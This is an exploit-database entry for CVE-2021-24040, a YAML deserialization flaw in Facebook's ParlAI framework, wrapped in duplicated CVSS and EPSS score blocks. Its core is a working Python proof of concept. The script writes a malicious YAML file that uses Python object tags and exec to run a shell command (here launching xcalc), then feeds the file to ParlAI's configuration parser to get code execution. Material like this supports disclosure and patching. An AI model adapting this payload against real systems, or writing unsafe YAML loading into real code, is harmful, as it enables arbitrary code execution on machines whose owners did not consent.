CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
95.3%
# Exploit Title: Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai
# Exploit Author: Abhiram V
# Vendor Homepage: https://parl.ai/
# Software Link: https://github.com/facebookresearch/ParlAI
# Version: < 1.1.0
# Tested on: Linux
# CVE: CVE-2021-24040
# References :
# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg
# | https://anon-artist.github.io/blogs/blog3.html |
############################################################################
Introduction
ParlAI (pronounced βpar-layβ) is a free, open-source python framework for
sharing, training and evaluating AI models on a variety of openly available
dialogue datasets.
############################################################################
Vulnerability details
############################################################################
Description
ParlAI was vulnerable to YAML deserialization attack caused by unsafe
loading which leads to Arbitrary Code Execution.
Proof of Concept
Create the following PoC file (exploit.py)
import os
#os.system('pip3 install parlai')
from parlai.chat_service.utils import config
exploit = """!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
config.parse_configuration_file('config.yml')
Execute the python script ie, python3 exploit.py
Impact
Code Execution
############################################################################
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
95.3%